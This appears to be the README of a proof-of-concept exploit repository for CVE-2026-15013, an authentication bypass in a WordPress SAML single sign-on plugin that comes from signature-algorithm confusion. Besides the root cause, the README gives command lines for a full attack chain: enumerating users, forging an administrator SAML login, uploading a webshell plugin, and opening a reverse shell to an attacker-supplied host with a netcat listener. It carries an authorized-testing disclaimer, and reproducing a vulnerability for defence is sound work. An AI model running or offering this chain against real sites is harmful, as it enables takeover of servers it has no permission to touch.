## https://sploitus.com/exploit?id=31F97C2A-5531-5A57-A1D7-0BF70F68A9B2
# CVE-2026-15013 โ miniOrange SAML SSO <= 5.4.3 Auth Bypass (PoC)
Proof-of-concept for **CVE-2026-15013**: unauthenticated authentication bypass via SAML **Signature Algorithm Confusion** (HMAC-SHA1) in the miniOrange *SAML Single Sign On โ SSO Login* WordPress plugin (versions **up to and including 5.4.3**).
**Authorized testing only.** Use this code solely on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.
## Credits
| Role | |
|------|--|
| **Vulnerability finder** | lhking (credited on the CVE record) |
| **CVE / CNA** | Wordfence |
| **This repository** | Independent lab reproduction / PoC automation (not the original discovery) |
CVE record: https://vulners.com/cve/CVE-2026-15013
## Root cause
`Mo_SAML_Utilities::mo_saml_cast_key()` trusts the `SignatureMethod` algorithm from the attacker-controlled `SAMLResponse`. When set to **HMAC-SHA1**, the plugin recasts the IdP **RSA public key** as an HMAC shared secret and verifies the signature with it. Anyone who can read the IdP certificate (often public metadata) can forge a valid assertion for any existing WordPress user, including administrators.
Patched in **5.4.4+** (insecure algorithms / HMAC rejected).
## CVSS
**9.8 CRITICAL** โ CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
## Requirements
- Python 3.10+
- `openssl` CLI (for cert to public key)
- Network access to the target WordPress site and, for automatic key fetch, the IdP SAML descriptor
Install dependencies:
pip install -r requirements.txt
## Usage
Full chain (enum, HMAC login, admin, webshell):
python3 exploit.py -u https://TARGET.example
Optional reverse shell (start listener first: `nc -lvnp 4444`):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Login only (no shell):
python3 exploit.py -u https://TARGET.example --no-shell
Manual overrides:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
### Arguments
| Flag | Description |
|------|-------------|
| `-u, --url` | WordPress base URL (**required**) |
| `-k, --hmac-key` | PEM public key or cert file; if empty, fetch from IdP metadata |
| `--issuer` | Override IdP issuer |
| `--acs` | Override ACS URL |
| `--nameid` | Force a single WordPress username |
| `--lhost` / `--lport` | Reverse shell callback (default port 4444) |
| `--no-shell` | Stop after admin session |
| `--no-reverse` | Upload shell but do not trigger reverse |
## Flow
1. Detect WordPress and plugin version (must be <= 5.4.3)
2. Discover ACS, SP entityID, IdP issuer
3. Obtain IdP signing cert (metadata) and derive public key PEM (HMAC secret)
4. Enumerate WordPress users
5. Forge HMAC-SHA1 signed SAMLResponse per candidate user
6. Select account with install_plugins (admin)
7. Upload webshell plugin (`exp/shell.php?c=id`)
8. Optional reverse shell via `--lhost`
## Disclaimer
This project is for educational and authorized security research only. The authors and contributors are not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was reported through responsible disclosure; this repository only demonstrates reproduction for learning and defensive validation.
## References
- https://vulners.com/cve/CVE-2026-15013
- https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
- Plugin fix: miniOrange SAML 5.4.4+
## License
For research use. No warranty.